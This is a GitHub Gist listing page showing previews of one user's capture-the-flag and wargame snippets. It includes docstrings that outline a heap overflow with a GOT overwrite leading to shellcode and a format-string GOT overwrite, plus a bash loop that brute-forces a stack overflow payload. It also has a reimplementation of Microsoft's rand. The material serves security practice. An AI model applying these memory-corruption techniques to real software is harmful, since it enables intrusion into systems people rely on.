Skip to content

Instantly share code, notes, and snippets.

View internet_of_seat.py
#!/usr/bin/env python2
# pylint: skip-file
"""
When performing a chunked transfer, realloc doesnt take into account the size of the headers allowing an overflow.
As the initial heap (0x100) is located inline we can overwrite the current heap location.
* overwrite __malloc_heap to point to our fake heap
* our fake heap size is huge so that memory os returned near the GOT
* overwrite memchr got with shellcode address
* win
@wbowling
wbowling / rand.py
Created Feb 21, 2018
microsoft c runtime implementation of rand srand in python
View rand.py
#!/usr/bin/env python
def srand(s):
global seed
seed = s
# microsoft c runtime implementation
def rand():
global seed
seed = (seed * 214013 + 2531011) % 2**64
View format0.py
#!/usr/bin/env python2
"""
Overwrite the GOT entry for __stack_chk_fail with 0x40061a so we jump there instead.
The address can be passed in via argv, we cant use nulls but we can use blank strings instead.
As the argv location is semi random, it takes around 500 iterations which is pretty reasonable for 64bit
"""
View mission009.py
#!/usr/bin/env python
import string
def srand(s):
global seed
seed = s
# microsoft c runtime implementation
def rand():
global seed
View mission009.c
#include <stdio.h>
#include <stdlib.h>
int main() {
// char *pass = "THE SECRET HAS BEEN REMOVED LOL";
char *pass = "\x9a\x60\x76\x14\x8b\x36\x5a\x10\x2b\x91\xc4\x6c\xab\x27\x92\x99\xf8\x6a\xec\x5d\x32\x20\x3d\x61\x8f\xc7\xfb\xdd\x02\x72\xbf";
char key[31];
char out[31];
// 2017-07-16 to 2017-07-20
View stack0_wrapper.sh
#!/bin/bash
ulimit -c 0
export LIBC_FATAL_STDERR_=1
python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin
output=""
COUNTER=0
while [[ ! $output =~ "modified" ]]; do
MOD=$(( $COUNTER % 1000 ))
@wbowling
wbowling / 0_reuse_code.js
Last active Apr 20, 2021
Here are some things you can do with Gists in GistBox.
View 0_reuse_code.js
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console